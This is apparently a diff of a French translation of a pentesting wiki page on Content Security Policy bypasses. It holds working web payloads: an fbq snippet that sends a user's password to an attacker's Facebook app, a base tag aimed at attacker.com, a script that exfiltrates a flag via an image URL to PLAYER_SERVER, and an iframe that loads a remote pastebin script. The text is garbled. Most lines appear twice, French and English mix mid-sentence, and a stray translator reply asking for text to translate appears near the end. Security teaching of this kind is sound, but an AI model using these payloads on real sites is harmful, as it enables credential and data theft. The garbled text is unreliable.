| Facebook | www.facebook.com, \*.facebook.com | Exfil |
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec |
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
Si vous trouvez l'un des domaines autorisés dans la CSP de votre cible, il y a de fortes chances que vous puissiez bypass the CSP en vous inscrivant sur le service tiers et, soit exfiltrate data vers ce service, soit execute code.
Si vous trouvez l'un des domaines autorisés dans la CSP de votre cible, il y a de fortes chances que vous puissiez bypasser la CSP en vous inscrivant sur le service tiers et, soit exfiltrate data vers ce service, soit execute code.
Par exemple, si vous trouvez la CSP suivante :
```
@ -318,43 +318,43 @@ ou
```
Content-Security-Policy​: connect-src www.facebook.com;​
```
Vous devriez pouvoir exfiltrer des données, comme cela a toujours été fait avec [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). Dans ce cas, suivez ces étapes générales :
Vous devriez être capable d'exfiltrer des données, de la même manière que cela a toujours été fait avec [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). Dans ce cas, suivez ces étapes générales :
1. Créez un compte Facebook Developer ici.
2. Créez une nouvelle application "Facebook Login" et sélectionnez "Website".
3. Allez dans "Settings -> Basic" et récupérez votre "App ID"
4. Sur le site cible depuis lequel vous voulez exfiltrer des données, vous pouvez exfiltrer des données en utilisant directement le gadget du Facebook SDK "fbq" via un "customEvent" et le data payload.
5. Allez dans l'Event Manager de votre App et sélectionnez l'application que vous avez créée (notez que l'event manager peut se trouver à une URL similaire à celle-ci: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events
4. Sur le site cible depuis lequel vous voulez exfiltrer des données, vous pouvez exfiltrer des données en utilisant directement le gadget Facebook SDK "fbq" via un "customEvent" et le data payload.
5. Allez dans l'"Event Manager" de votre App et sélectionnez l'application que vous avez créée (notez que l'event manager peut être trouvé à une URL similaire à : https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events
6. Sélectionnez l'onglet "Test Events" pour voir les événements envoyés par "votre" site web.
Ensuite, du côté de la victime, vous exécutez le code suivant pour initialiser le pixel de tracking Facebook afin de le pointer vers l'app-id du compte Facebook Developer de l'attaquant et émettre un custom event comme ceci:
Ensuite, côté victime, exécutez le code suivant pour initialiser le Facebook tracking pixel afin de le pointer vers l'app-id du compte Facebook Developer de l'attaquant et émettre un custom event comme ceci :
```JavaScript
fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{​
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​
});
```
En ce qui concerne les sept autres domaines tiers spécifiés dans le tableau précédent, il existe de nombreuses autres façons de les abuser. Reportez-vous au [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) précédemment cité pour des explications supplémentaires sur d'autres abus impliquant des tiers.
Quant aux sept autres domaines tiers spécifiés dans le tableau précédent, il existe de nombreuses autres façons de les abuser. Reportez-vous au [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) mentionné précédemment pour des explications supplémentaires sur d'autres abus de tiers.
### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
### Contournement via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
En plus de la redirection mentionnée ci‑dessus pour contourner les restrictions de chemin, il existe une autre technique appelée Relative Path Overwrite (RPO) qui peut être utilisée sur certains serveurs.
En plus de la redirection susmentionnée pour bypass les restrictions de path, il existe une autre technique appelée Relative Path Overwrite (RPO) qui peut être utilisée sur certains serveurs.
Par exemple, si CSP autorise le chemin `https://example.com/scripts/react/`, il est possible d'effectuer un bypass de la manière suivante:
Par exemple, si CSP autorise le path `https://example.com/scripts/react/`, il peut être bypassed comme suit :
```html
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
```
Le navigateur finira par charger `https://example.com/scripts/angular/angular.js`.
Le navigateur chargera finalement `https://example.com/scripts/angular/angular.js`.
Cela fonctionne parce que, pour le navigateur, vous chargez un fichier nommé `..%2fangular%2fangular.js` situé sous `https://example.com/scripts/react/`, ce qui est conforme à la CSP.
Ceci fonctionne parce que, pour le navigateur, vous chargez un fichier nommé `..%2fangular%2fangular.js` situé sous `https://example.com/scripts/react/`, ce qui est conforme à CSP.
Le navigateur va le décoder, demandant effectivement `https://example.com/scripts/react/../angular/angular.js`, ce qui est équivalent à `https://example.com/scripts/angular/angular.js`.
Ainsi, il sera décodé, demandant en fait `https://example.com/scripts/react/../angular/angular.js`, ce qui est équivalent à `https://example.com/scripts/angular/angular.js`.
En **exploiter cette incohérence d'interprétation des URL entre le navigateur et le serveur, les règles de chemin peuvent être contournées**.
En **exploquant cette incohérence d'interprétation des URL entre le navigateur et le serveur, les règles de chemin peuvent être contournées**.
La solution est de ne pas traiter `%2f` comme `/` côté serveur, en assurant une interprétation cohérente entre le navigateur et le serveur pour éviter ce problème.
La solution est de ne pas traiter %2f comme / côté serveur, en assurant une interprétation cohérente entre le navigateur et le serveur pour éviter ce problème.
Online Example:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
Exemple en ligne: [ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
### Exécution JS dans les iframes
@ -365,33 +365,33 @@ Online Example:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.
### absence de **base-uri**
Si la directive **base-uri** est absente, vous pouvez en abuser pour effectuer un [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html).
Si la directive **base-uri** est absente, vous pouvez en abuser pour effectuer une [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html).
De plus, si la **page charge un script en utilisant un chemin relatif** (comme `<script src="/js/app.js">`) et utilise un **Nonce**, vous pouvez abuser de la **balise base** pour la faire **charger** le script depuis **votre propre serveur**, obtenant ainsi un XSS.\
Si la page vulnérable est chargée en **httpS**, utilisez une URL httpS dans la base.
De plus, si la **page is loading a script using a relative path** (comme `<script src="/js/app.js">`) utilisant un **Nonce**, vous pouvez abuser du **base tag** pour le faire charger depuis votre propre serveur et ainsi obtenir un XSS.\
Si la page vulnérable est chargée via **httpS**, utilisez une URL **httpS** dans la base.
```html
<base href="https://www.attacker.com/" />
```
### AngularJS événements
### Événements AngularJS
Une politique spécifique connue sous le nom de Content Security Policy (CSP) peut restreindre les événements JavaScript. Néanmoins, AngularJS introduit des événements personnalisés comme alternative. Dans un événement, AngularJS fournit un objet particulier `$event`, qui référence l'objet d'événement natif du navigateur. Cet objet `$event` peut être exploité pour contourner la CSP. Notamment, dans Chrome, l'objet `$event/event` possède un attribut `path`, contenant un tableau d'objets impliqués dans la chaîne d'exécution de l'événement, avec l'objet `window` positionné systématiquement à la fin. Cette structure est essentielle pour les techniques de sandbox escape.
Une politique spécifique connue sous le nom de Content Security Policy (CSP) peut restreindre les événements JavaScript. Néanmoins, AngularJS introduit des événements personnalisés comme alternative. Dans un événement, AngularJS fournit un objet unique `$event`, faisant référence à l'objet d'événement natif du navigateur. Cet objet `$event` peut être exploité pour contourner la CSP. Notamment, dans Chrome, l'objet `$event/event` possède un attribut `path`, contenant un tableau d'objets impliqués dans la chaîne d'exécution de l'événement, l'objet `window` étant systématiquement positionné à la fin. Cette structure est primordiale pour les sandbox escape tactics.
En dirigeant ce tableau vers le filtre `orderBy`, il est possible d'itérer dessus, en utilisant l'élément terminal (l'objet `window`) pour déclencher une fonction globale comme `alert()`. L'extrait de code ci‑dessous illustre ce processus :
En dirigeant ce tableau vers le filtre `orderBy`, il est possible de l'itérer, en exploitant l'élément terminal (l'objet `window`) pour appeler une fonction globale comme `alert()`. L'extrait de code ci‑dessous illustre ce processus :
```xml
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
```
Ce fragment met en évidence l'utilisation de la directive `ng-focus` pour déclencher l'événement, en utilisant `$event.path|orderBy` pour manipuler le tableau `path`, et en exploitant l'objet `window` pour exécuter la fonction `alert()`, révélant ainsi `document.cookie`.
Cet extrait met en évidence l'utilisation de la directive `ng-focus` pour déclencher l'événement, en employant `$event.path|orderBy` pour manipuler le tableau `path`, et en utilisant l'objet `window` pour exécuter la fonction `alert()`, révélant ainsi `document.cookie`.
Trouvez d'autres bypasses Angular sur [https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
**Trouvez d'autres Angular bypasses sur** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
### AngularJS et domaine sur liste blanche
### AngularJS et whitelisted domain
```
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
```
Une politique CSP qui autorise des domaines pour le chargement de scripts dans une application Angular JS peut être contournée via l'invocation de fonctions de rappel et certaines classes vulnérables. Des informations supplémentaires sur cette technique se trouvent dans un guide détaillé disponible sur ce [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
Une politique CSP qui met en liste blanche des domaines pour le chargement de scripts dans une application Angular JS peut être contournée via l'invocation de fonctions de callback et certaines classes vulnérables. Des informations supplémentaires sur cette technique se trouvent dans un guide détaillé disponible sur ce [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
Working payloads:
Payloads fonctionnels:
```html
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
@ -399,13 +399,13 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
```
Other JSONP arbitrary execution endpoints can be found in [**here**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (certains d'entre eux ont été supprimés ou corrigés)
D'autres endpoints d'exécution arbitraire JSONP peuvent être trouvés dans [**here**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (certains d'entre eux ont été supprimés ou corrigés)
### Bypass via Redirection
Que se passe-t-il lorsque CSP rencontre une server-side redirection ? Si la redirection mène à une origin différente qui n'est pas autorisée, elle échouera quand même.
Que se passe-t-il lorsque CSP rencontre une redirection côté serveur ? Si la redirection mène vers une origine différente qui n'est pas autorisée, elle échouera quand même.
Cependant, selon la description dans [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), si la redirection mène à un path différent, elle peut bypasser les restrictions originales.
Cependant, selon la description dans [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), si la redirection mène à un chemin différent, elle peut contourner les restrictions originales.
Voici un exemple :
```html
@ -425,38 +425,38 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
</body>
</html>
```
Si la CSP est définie sur `https://www.google.com/a/b/c/d`, puisque le chemin est pris en compte, les scripts `/test` et `/a/test` seront tous deux bloqués par la CSP.
Si CSP est défini sur `https://www.google.com/a/b/c/d`, étant donné que le chemin est pris en compte, les scripts `/test` et `/a/test` seront bloqués par CSP.
Cependant, la cible finale `http://localhost:5555/301` sera **redirigée côté serveur vers `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Comme il s'agit d'une redirection, le **chemin n'est pas pris en compte**, et le **script peut être chargé**, contournant ainsi la restriction sur le chemin.
Cependant, le `http://localhost:5555/301` final sera **redirigé côté serveur vers `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Comme il s'agit d'une redirection, le **chemin n'est pas pris en compte**, et le **script peut être chargé**, contournant ainsi la restriction sur le chemin.
Avec cette redirection, même si le chemin est spécifié entièrement, il pourra toujours être contourné.
Avec cette redirection, même si le chemin est spécifié complètement, il sera quand même contourné.
Par conséquent, la meilleure solution est de s'assurer que le site Web n'a pas de vulnérabilités d'open redirect et qu'aucun domaine ne peut être exploité dans les règles CSP.
Par conséquent, la meilleure solution est de s'assurer que le site n'a pas de vulnérabilités d'open redirect et qu'aucun domaine ne peut être exploité dans les règles CSP.
### Bypass CSP with dangling markup
### Contourner CSP avec dangling markup
Lire [comment ici](../dangling-markup-html-scriptless-injection/index.html).
Voir [comment ici](../dangling-markup-html-scriptless-injection/index.html).
### 'unsafe-inline'; img-src \*; via XSS
```
default-src 'self' 'unsafe-inline'; img-src *;
```
`'unsafe-inline'` signifie que vous pouvez exécuter n'importe quel script dans le code (XSS peut exécuter du code) et `img-src *` signifie que vous pouvez utiliser dans la page web n'importe quelle image provenant de n'importe quelle ressource.
`'unsafe-inline'` signifie que vous pouvez exécuter n'importe quel script dans le code (XSS peut exécuter du code) et `img-src *` signifie que vous pouvez utiliser sur la page web n'importe quelle image provenant de n'importe quelle ressource.
Vous pouvez contourner ce CSP en exfiltrant les données via des images (dans ce cas l'XSS exploite un CSRF où une page accessible par le bot contient un SQLi, et extrait le flag via une image) :
Vous pouvez contourner cette CSP en exfiltrant les données via des images (dans ce cas précis le XSS abuse d'une CSRF où une page accessible par le bot contient un SQLi, et extrait le flag via une image):
```javascript
<script>
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
Image().src='http://PLAYER_SERVER/?'+_)
</script>
```
Source: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
Source : [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
Vous pouvez également abuser de cette configuration pour **charger du code JavaScript inséré dans une image**. Par exemple, si la page autorise le chargement d'images depuis Twitter, vous pouvez **concevoir** une **image spéciale**, **la téléverser** sur Twitter et abuser du "**unsafe-inline**" pour **exécuter** un code JS (comme un XSS classique) qui va **charger** l'**image**, **extraire** le **JS** de celle-ci et **l'exécuter** : [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
Vous pouvez aussi abuser de cette configuration pour **charger du code javascript inséré dans une image**. Par exemple, si la page permet de charger des images depuis Twitter. Vous pourriez **concevoir** une **image spéciale**, la **téléverser** sur Twitter et abuser de "**unsafe-inline**" pour **exécuter** un code JS (comme un XSS classique) qui va **charger** l'**image**, **extraire** le **JS** depuis celle-ci et **l'exécuter** : [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
### Avec les Service Workers
### Avec Service Workers
La fonction Service Workers **`importScripts`** n'est pas limitée par le CSP:
La fonction des Service workers **`importScripts`** n'est pas limitée par le CSP :
{{#ref}}
../xss-cross-site-scripting/abusing-service-workers.md
@ -464,29 +464,29 @@ La fonction Service Workers **`importScripts`** n'est pas limitée par le CSP:
### Policy Injection
**Recherche :** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
Recherche : [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
#### Chrome
Si un **paramètre** envoyé par vous est **collé à l'intérieur** de la **déclaration** de la **politique**, alors vous pouvez **altérer** la **politique** d'une manière qui la rend **inutile**. Vous pourriez **autoriser script 'unsafe-inline'** avec n'importe lequel de ces bypasses :
Si un **paramètre** que vous envoyez est **inséré** dans la **déclaration** de la **politique**, alors vous pourriez **altérer** la **politique** d'une manière qui la rend **inutile**. Vous pourriez **autoriser script 'unsafe-inline'** avec n'importe lequel de ces contournements :
```bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
```
Parce que cette directive va **écraser les directives script-src existantes**.\
Vous pouvez trouver un exemple ici : [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
You can find an example here: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
#### Edge
Sur Edge c'est beaucoup plus simple. Si vous pouvez ajouter dans la CSP juste ceci : **`;_`** **Edge** va **supprimer** toute la **politique**.\
Avec Edge c'est beaucoup plus simple. Si vous pouvez ajouter dans le CSP simplement ceci : **`;_`** **Edge** supprimerait l'intégralité de la **politique**.\
Example: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
### img-src \*; via XSS (iframe) - Time attack
### img-src \*; via XSS (iframe) - Attaque temporelle
Notez l'absence de la directive `'unsafe-inline'`\
Cette fois vous pouvez faire en sorte que la victime **charge** une page **sous votre contrôle** via **XSS** avec un `<iframe`. Vous allez faire en sorte que la victime accède à la page depuis laquelle vous voulez extraire des informations (**CSRF**). Vous ne pouvez pas accéder au contenu de la page, mais si d'une manière ou d'une autre vous pouvez **contrôler le temps de chargement** de la page, vous pouvez extraire l'information dont vous avez besoin.
Remarquez l'absence de la directive 'unsafe-inline'\
Cette fois, vous pouvez faire en sorte que la victime **charge** une page sous **votre contrôle** via **XSS** avec un `<iframe`. Cette fois, vous allez amener la victime à accéder à la page depuis laquelle vous voulez extraire des informations (**CSRF**). Vous ne pouvez pas accéder au contenu de la page, mais si d'une manière ou d'une autre vous pouvez **contrôler le temps de chargement de la page** vous pouvez extraire l'information dont vous avez besoin.
Cette fois un **flag** va être extrait : chaque fois qu'un **char est correctement deviné** via SQLi la **réponse** prend **plus de temps** à cause de la fonction sleep. Ainsi, vous pourrez extraire le flag :
Cette fois un **flag** va être extrait : chaque fois qu'un **char est correctement deviné** via SQLi la **response** prend **plus de temps** à cause de la sleep function. Ensuite, vous pourrez extraire le flag:
```html
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
@ -548,22 +548,22 @@ run()
```
### Via Bookmarklets
Cette attaque implique une certaine ingénierie sociale où l'attaquant **convainc l'utilisateur de glisser\&déposer un lien sur le bookmarklet du navigateur**. Ce bookmarklet contiendrait du **javascript malveillant** qui, une fois glissé\&déposé ou cliqué, serait exécuté dans le contexte de la fenêtre web courante, **contournant le CSP et permettant de voler des informations sensibles** telles que les cookies ou les tokens.
This attack would imply some social engineering where the attacker **convinces the user to drag and drop a link over the bookmarklet of the browser**. This bookmarklet would contain **malicious javascript** code that when drag\&dropped or clicked would be executed in the context of the current web window, **bypassing CSP and allowing to steal sensitive information** such as cookies or tokens.
For more information [**check the original report here**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
For more information [**consultez le rapport original ici**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
### Contournement du CSP en restreignant le CSP
### CSP bypass by restricting CSP
In [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP is bypassed by injecting inside an allowed iframe a more restrictive CSP that disallowed to load a specific JS file that, then, via **prototype pollution** or **dom clobbering** allowed to **abuse a different script to load an arbitrary script**.
In [**ce writeup CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP is bypassed by injecting inside an allowed iframe a more restrictive CSP that disallowed to load a specific JS file that, then, via **prototype pollution** or **dom clobbering** allowed to **abuse a different script to load an arbitrary script**.
Vous pouvez **restreindre le CSP d'un iframe** avec l'attribut **`csp`** :
You can **restrict a CSP of an Iframe** with the **`csp`** attribute:
```html
<iframe
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
```
In [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), il a été possible via **HTML injection** de **restreindre** davantage une **CSP** de sorte qu'un script empêchant la **CSTI** ait été désactivé et que, par conséquent, la **vulnérabilité soit devenue exploitable.**\
Une **CSP** peut être rendue plus restrictive en utilisant des **HTML meta tags**, et les inline scripts peuvent être désactivés en **supprimant** l'**entrée** autorisant leur **nonce** et en **autorisant un script inline spécifique via sha** :
Dans [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), il a été possible via **HTML injection** de **restreindre** davantage une **CSP**, de sorte qu'un script empêchant la **CSTI** a été désactivé et que la **vulnérabilité est devenue exploitable.**\
La CSP peut être rendue plus restrictive en utilisant des **HTML meta tags** et les **inline scripts** peuvent être désactivés en **supprimant** l'**entrée** permettant leur **nonce** et en **activant un script inline spécifique via sha**:
```html
<meta
http-equiv="Content-Security-Policy"
@ -572,57 +572,57 @@ content="script-src 'self'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />
```
### Exfiltration JS avec Content-Security-Policy-Report-Only
### JS exfiltration with Content-Security-Policy-Report-Only
Si vous parvenez à faire en sorte que le serveur réponde avec l'en-tête **`Content-Security-Policy-Report-Only`** avec une **valeur que vous contrôlez** (peut-être à cause d'un CRLF), vous pouvez le faire pointer vers votre serveur et si vous **entourez** le **contenu JS** que vous voulez exfiltrer avec **`<script>`** et comme il est très probable que `unsafe-inline` ne soit pas autorisé par la CSP, cela **provoquera une erreur CSP** et une partie du script (contenant les informations sensibles) sera envoyée au serveur via `Content-Security-Policy-Report-Only`.
Si vous parvenez à faire en sorte que le serveur réponde avec l'en-tête **`Content-Security-Policy-Report-Only`** dont la **valeur est contrôlée par vous** (peut-être à cause d'un CRLF), vous pouvez le faire pointer vers votre serveur et si vous **encapsulez** le **contenu JS** que vous voulez exfiltrer avec **`<script>`** et comme il est très probable que `unsafe-inline` ne soit pas autorisé par la CSP, cela **provoquera une erreur CSP** et une partie du script (contenant les informations sensibles) sera envoyée au serveur via `Content-Security-Policy-Report-Only`.
Pour un exemple [**consultez ce writeup CTF**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
Pour un exemple [**check this CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
```javascript
document.querySelector("DIV").innerHTML =
'<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'
```
### Fuite d'informations avec CSP et iframe
### Leaking Information with CSP and Iframe
- Un `iframe` est créé qui pointe vers une URL (appelons-la `https://example.redirect.com`) qui est permise par la CSP.
- Cette URL redirige ensuite vers une URL secrète (par ex., `https://usersecret.example2.com`) qui n'est **pas autorisée** par la CSP.
- En écoutant l'événement `securitypolicyviolation`, on peut capturer la propriété `blockedURI`. Cette propriété révèle le domaine de l'URI bloquée, divulguant le domaine secret vers lequel l'URL initiale a redirigé.
- Un `iframe` est créé qui pointe vers une URL (appelons-la `https://example.redirect.com`) qui est autorisée par CSP.
- Cette URL redirige ensuite vers une URL secrète (par ex. `https://usersecret.example2.com`) qui n'est **pas autorisée** par CSP.
- En écoutant l'événement `securitypolicyviolation`, on peut récupérer la propriété `blockedURI`. Cette propriété révèle le domaine de l'URI bloquée, leaking le domaine secret vers lequel l'URL initiale a redirigé.
Il est intéressant de noter que des navigateurs comme Chrome et Firefox ont des comportements différents dans la gestion des iframes vis‑à‑vis de la CSP, ce qui peut conduire à une divulgation potentielle d'informations sensibles en raison d'un comportement non défini.
Il est intéressant de noter que des navigateurs comme Chrome et Firefox ont des comportements différents dans la gestion des iframes par rapport à CSP, conduisant à une leakage potentielle d'informations sensibles en raison d'un comportement indéfini.
Une autre technique consiste à exploiter la CSP elle‑même pour déduire le sous‑domaine secret. Cette méthode repose sur un algorithme de recherche binaire et sur l'ajustement de la directive CSP pour inclure des domaines spécifiques qui sont délibérément bloqués. Par exemple, si le sous‑domaine secret est composé de caractères inconnus, vous pouvez tester itérativement différents sous‑domaines en modifiant la directive CSP pour bloquer ou autoriser ces sous‑domaines. Voici un extrait montrant comment la CSP pourrait être configurée pour faciliter cette méthode:
Une autre technique consiste à exploiter le CSP lui‑même pour déduire le sous‑domaine secret. Cette méthode s'appuie sur un algorithme de recherche binaire et l'ajustement du CSP pour inclure des domaines spécifiques qui sont délibérément bloqués. Par exemple, si le sous‑domaine secret est composé de caractères inconnus, vous pouvez tester itérativement différents sous‑domaines en modifiant la directive CSP pour bloquer ou autoriser ces sous‑domaines. Voici un extrait montrant comment le CSP pourrait être configuré pour faciliter cette méthode :
```markdown
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
```
En surveillant quelles requêtes sont bloquées ou autorisées par la CSP, on peut restreindre les caractères possibles du sous-domaine secret et finalement découvrir l'URL complète.
En surveillant quelles requêtes sont bloquées ou autorisées par la CSP, on peut réduire les caractères possibles du sous-domaine secret, finissant par découvrir l'URL complète.
Les deux méthodes exploitent les subtilités de l'implémentation de la CSP et du comportement des navigateurs, démontrant comment des politiques apparemment sécurisées peuvent involontairement leak des informations sensibles.
Les deux méthodes exploitent les subtilités de l'implémentation et du comportement de la CSP dans les navigateurs, montrant comment des politiques apparemment sécurisées peuvent involontairement leak des informations sensibles.
Trick from [**here**](https://ctftime.org/writeup/29310).
## Technologies non sécurisées pour contourner CSP
## Technologies non sûres pour contourner la CSP
### Erreurs PHP quand trop de params
### Erreurs PHP lorsqu'il y a trop de paramètres
According to the [**last technique commented in this video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), l'envoi d'un nombre trop élevé de paramètres (1001 paramètres GET bien que vous puissiez aussi le faire avec des params POST et plus de 20 fichiers). Toute **`header()`** définie dans le code PHP **ne sera pas envoyée** à cause de l'erreur que cela déclenche.
According to the [**last technique commented in this video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), sending too many parameters (1001 GET parameters although you can also do it with POST params and more that 20 files). Any defined **`header()`** in the PHP web code **won't be sent** because of the error that this will trigger.
### Surcharge du tampon de réponse PHP
### Saturation du tampon de réponse PHP
PHP est connu pour tamponner la réponse jusqu'à 4096 bytes par défaut. Ainsi, si PHP génère un warning, en fournissant suffisamment de données dans les warnings, la réponse sera envoyée avant l'en-tête CSP, ce qui fait que l'en-tête sera ignoré.\
Ensuite, la technique consiste essentiellement à remplir le tampon de réponse avec des warnings pour que l'en-tête CSP ne soit pas envoyé.
PHP is known for **buffering the response to 4096** bytes by default. Therefore, if PHP is showing a warning, by providing **enough data inside warnings**, the **response** will be **sent** **before** the **CSP header**, causing the header to be ignored.\
Then, the technique consists basically in **filling the response buffer with warnings** so the CSP header isn't sent.
Idea from [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
### Désactiver CSP via max_input_vars (headers already sent)
### Kill CSP via max_input_vars (headers already sent)
Parce que les en-têtes doivent être envoyés avant toute sortie, les warnings émis par PHP peuvent invalider des appels `header()` ultérieurs. Si les entrées utilisateur dépassent `max_input_vars`, PHP génère d'abord un warning de démarrage ; tout `header('Content-Security-Policy: ...')` ultérieur échouera avec “headers already sent”, désactivant effectivement la CSP et permettant un reflective XSS qui serait autrement bloqué.
Because headers must be sent before any output, warnings emitted by PHP can invalidate later `header()` calls. If user input exceeds `max_input_vars`, PHP throws a startup warning first; any subsequent `header('Content-Security-Policy: ...')` will fail with “headers already sent”, effectively disabling CSP and allowing otherwise-blocked reflective XSS.
```php
<?php
header("Content-Security-Policy: default-src 'none';");
echo $_GET['xss'];
```
Exemple :
Je ne vois pas le contenu à traduire. Veuillez coller le texte de src/pentesting-web/content-security-policy-csp-bypass/README.md que vous souhaitez que je traduise.
```bash
